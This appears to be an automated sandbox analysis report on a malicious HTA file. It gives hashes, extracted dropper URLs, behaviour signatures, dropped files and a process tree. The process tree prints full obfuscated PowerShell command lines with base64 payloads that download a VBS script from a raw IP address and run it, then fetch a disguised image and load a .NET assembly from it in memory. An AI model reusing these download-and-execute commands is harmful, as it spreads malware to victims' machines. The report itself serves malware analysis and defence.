Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18-12-2024 02:49

General

  • Target

    83fc39130474afeb1d69b21603b9e7495584741eda2ca2248db4730d4e966705.hta

  • Size

    143KB

  • MD5

    b4a181ad1acd008c45ba11fd3b518ca2

  • SHA1

    60b4d2b833454c10d8588a67c018498ebfe9e7f5

  • SHA256

    83fc39130474afeb1d69b21603b9e7495584741eda2ca2248db4730d4e966705

  • SHA512

    724c770c0f5e06fe62c99fc12546cd9c7f807cae7091e3386613b3c48831ee1748e70b227175fcdb183b71f52f300f208019c45d4712847ddc87ad254a572db9

  • SSDEEP

    768:t1EVeI6Abum2oum2Lh5KUJDVUKhCiGVf/AwZTZGPJZ9adxfv1g4ZZZZZZZZZZZZV:tQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\83fc39130474afeb1d69b21603b9e7495584741eda2ca2248db4730d4e966705.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C pOWERSheLL -eX byPASS -nop -W 1 -C deViCeCREdENTIALdeploymEnt ; iNVOkE-ExpRESsIOn($(iNvOke-exprEsSION('[sYsteM.TEXt.eNcODING]'+[Char]58+[cHaR]58+'UTf8.gEtstring([SySTEm.conVErt]'+[ChAR]58+[Char]0X3A+'FrombAsE64STriNg('+[chAr]34+'JDRJRjZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFckRFRklOSXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1PTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmJQZ0Z0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbFd1WHlFSFUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBYnQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBUQncpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVVUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTUEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0SUY2Sjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS8xMTgvZnJlZXNpemVkcmVzc2Zvcm5hdHVyYWxiZWF1dHlpbnRoaXNjYXNlZm9yeW91Z29vZC50SUYiLCIkRU5WOkFQUERBVEFcZnJlZXNpemVkcmVzc2Zvcm5hdHVyYWxiZWF1dHlpbnRoaXNjYXNlZm9yeW91LnZiUyIsMCwwKTtzdEFyVC1zbGVFcCgzKTtpbnZvS0UtZXhwckVTU2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGZyZWVzaXplZHJlc3Nmb3JuYXR1cmFsYmVhdXR5aW50aGlzY2FzZWZvcnlvdS52YlMi'+[CHar]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3024
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWERSheLL -eX byPASS -nop -W 1 -C deViCeCREdENTIALdeploymEnt ; iNVOkE-ExpRESsIOn($(iNvOke-exprEsSION('[sYsteM.TEXt.eNcODING]'+[Char]58+[cHaR]58+'UTf8.gEtstring([SySTEm.conVErt]'+[ChAR]58+[Char]0X3A+'FrombAsE64STriNg('+[chAr]34+'JDRJRjZKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJFckRFRklOSXRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVSbG1PTiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWmJQZ0Z0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbFd1WHlFSFUsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBYnQsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBUQncpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVVUyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTWVTUEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0SUY2Sjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOS8xMTgvZnJlZXNpemVkcmVzc2Zvcm5hdHVyYWxiZWF1dHlpbnRoaXNjYXNlZm9yeW91Z29vZC50SUYiLCIkRU5WOkFQUERBVEFcZnJlZXNpemVkcmVzc2Zvcm5hdHVyYWxiZWF1dHlpbnRoaXNjYXNlZm9yeW91LnZiUyIsMCwwKTtzdEFyVC1zbGVFcCgzKTtpbnZvS0UtZXhwckVTU2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXGZyZWVzaXplZHJlc3Nmb3JuYXR1cmFsYmVhdXR5aW50aGlzY2FzZWZvcnlvdS52YlMi'+[CHar]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1780
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kpknogff.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2656
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE2D1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE2D0.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2788
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\freesizedressfornaturalbeautyinthiscaseforyou.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2564
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $comicsverse = 'JGhlbGljb3Byb3RlaWQgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHp2YWk4NnVoL2ltYWdlL3VwbG9hZC92MTczNDA1MDk5MS91bnhhb29peWt4Zm13OXBhbjR6MS5qcGcgJzskbWV0YXBoeXRlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY2hvdWwgPSAkbWV0YXBoeXRlLkRvd25sb2FkRGF0YSgkaGVsaWNvcHJvdGVpZCk7JHBvb2tvbyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjaG91bCk7JHJhbmdpbmVzcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskeGFudGhhbGluZSA9ICc8PEJBU0U2NF9FTkQ+Pic7JFBpemFycm8gPSAkcG9va29vLkluZGV4T2YoJHJhbmdpbmVzcyk7JGhhbmdlciA9ICRwb29rb28uSW5kZXhPZigkeGFudGhhbGluZSk7JFBpemFycm8gLWdlIDAgLWFuZCAkaGFuZ2VyIC1ndCAkUGl6YXJybzskUGl6YXJybyArPSAkcmFuZ2luZXNzLkxlbmd0aDskc3ludGF4aW4gPSAkaGFuZ2VyIC0gJFBpemFycm87JGluc2FsdmVhYmxlID0gJHBvb2tvby5TdWJzdHJpbmcoJFBpemFycm8sICRzeW50YXhpbik7JHVuY2x1dHRlciA9IC1qb2luICgkaW5zYWx2ZWFibGUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGluc2FsdmVhYmxlLkxlbmd0aCldOyRjYXRhc3Ryb3BoZSA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHVuY2x1dHRlcik7JG5lcGhyb2kgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjYXRhc3Ryb3BoZSk7JGNvbnZlcmJzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGNvbnZlcmJzLkludm9rZSgkbnVsbCwgQCgnMC9MV3pWcS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnJGhhc3NsZWQnLCAnJGhhc3NsZWQnLCAnJGhhc3NsZWQnLCAnQ2FzUG9sJywgJyRoYXNzbGVkJywgJyRoYXNzbGVkJywnJGhhc3NsZWQnLCckaGFzc2xlZCcsJyRoYXNzbGVkJywnJGhhc3NsZWQnLCckaGFzc2xlZCcsJzEnLCckaGFzc2xlZCcsJycpKTs=';$eyeing = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($comicsverse));Invoke-Expression $eyeing
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2356

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab3.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESE2D1.tmp

    Filesize

    1KB

    MD5

    008ed28ef6bda6fb1aae1b9c1b9114ac

    SHA1

    cea726455bc63de1f13a25b528189f2f7ad5887f

    SHA256

    e2a0dd17f7b43bfc9f64ddbfbdf753c574bec48fcd2e203e976c66b594cf3d65

    SHA512

    c9a8a7b2d0391e782546a0b84c985566661257409f57051ce32f250f4c2d0c382fcbb1b8e5af20445c9d5aa24e7a6ec0f03188c2a064f0978f4f0679e7668e8b

  • C:\Users\Admin\AppData\Local\Temp\Tar25.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\kpknogff.dll

    Filesize

    3KB

    MD5

    bc7cca46142740d4b20eb85568710c32

    SHA1

    6e39c072b604b97652d749659743ab1b78426f31

    SHA256

    18951cffd355d18eaaa7c62deb3fab08f721c9a1f42f7a57a5f7fd20cc2d748e

    SHA512

    322031b3f5e9f4d289ccb0105008cd7b39ab940426827de884636c8a4864243f9127ffe812a12afa4f7bc5d52ebd0490b7ccbf57c02f9e3571b4f3ffaabd36ff

  • C:\Users\Admin\AppData\Local\Temp\kpknogff.pdb

    Filesize

    7KB

    MD5

    a0872319f5271290005c1f32f62c29d6

    SHA1

    b9f223ca02c304ffd4dbfdaf6cb3523c4d99f8a5

    SHA256

    9c2282b2c8191e369f952d13422c74ef0804cfb3ccab569b1245d203318c0301

    SHA512

    b534f55fd5b4061fdb527b7a59cfcc350e8b1a271636d3b0bde10728c3f9b734f481be42936bfb40cf5847d2798667d227329fd0dd1f30edf2048bfc98e18d77

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7VBVD25I2TC41K9W1M7D.temp

    Filesize

    7KB

    MD5

    2fab4d3d45a373139c31fbe99d491991

    SHA1

    d4c7ff1f7818f5ec1d4df2104c29d278993d7552

    SHA256

    0288a21615eef564c1154b4e083a1fddde21bde7aa5b93efbaa33cb5cd396511

    SHA512

    1d00e646b6b343eae3e9d94db471c2f3b15b49c6633ab6f8617f074cf573dc9547acafd6a456ebba48d0a46be01ecd83ae5e956d1dbca96e13331e3935792efc

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    667dc3486c252c873f87794bb28b9a01

    SHA1

    c308e543db336e6172ab4fdad90b8d034b80b4ef

    SHA256

    7b0e4b122afeacb98e4d600d737d09d7bf0efb3bf1f88b72e017182b3c1cb72d

    SHA512

    9b8c581460db5c64ef53846a69bae644546220dacbaa6cb60372f44c9bd6548bf2ec2a248c1f3c343fc3a4e482dd67cc09111c763498f5ff6004040134b6e9b6

  • C:\Users\Admin\AppData\Roaming\freesizedressfornaturalbeautyinthiscaseforyou.vbS

    Filesize

    150KB

    MD5

    f4fa61bb6c9f9721ded8d91d28ea7815

    SHA1

    10796e5d198b6007586d28f6eaf2e847f89ea51e

    SHA256

    cbf1e928a1d028328afce5a494996571a51203d9c7e06ee78cd8ae1907f81f53

    SHA512

    03cf806a49ac6fb1d739e986e81559241d2387af2bb93dd443dee04f8f7278d1cad45116c46951d1888fd43922d232e6a9f1b49139c61e961efea0d2de0b7013

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCE2D0.tmp

    Filesize

    652B

    MD5

    7218c08b395c33fd40bf4e06072a95fb

    SHA1

    437347f850d56ffb8291283b40cae02a54fe78f2

    SHA256

    388475ea0134c3e5a4f6319d41d9105827b11395124a6e99f5d732fc5bb21e01

    SHA512

    3634d3f83bf3d5a28c77c568d736460dc9000413ddc072e3336255c6daf23972f8d30f106ed5d80c0575ea2e0c9adf908f3bd36566397314c027581bf5ec4e89

  • \??\c:\Users\Admin\AppData\Local\Temp\kpknogff.0.cs

    Filesize

    467B

    MD5

    773dc6cce0b58d96f866a82999aeb27a

    SHA1

    eb94f2107c3413b9d3b836a4a8f7fe1b5385e53c

    SHA256

    03732294582d4d93597043d70029f05476e498d1ffa698d1c51d4c377d3d8311

    SHA512

    1194741af23cdbe54b379f5555fa7e74f0f0287b357497cf76b63895803ef941454e4ce1c42a8d232c94262580cb62ac0f851ff5a1d9fdc52d9ed4a0ac68ce24

  • \??\c:\Users\Admin\AppData\Local\Temp\kpknogff.cmdline

    Filesize

    309B

    MD5

    b9aa4b56cddbb12e6b6ccbc253c53be3

    SHA1

    f7e525799f8b9cb86f4a8e33dc4aee97be915a5e

    SHA256

    588e5ae2ed7d6ba3d446629c8db255143cbcdefa19ee6107b71bb3179e89ffaa

    SHA512

    97f4649fd7ced362a4525a54222ce744de59226bb30c74d7d894b2609bf4100b7302c0a008d4fab153187a66c67896198485d022bc71ad7303f96c0b8acc53b8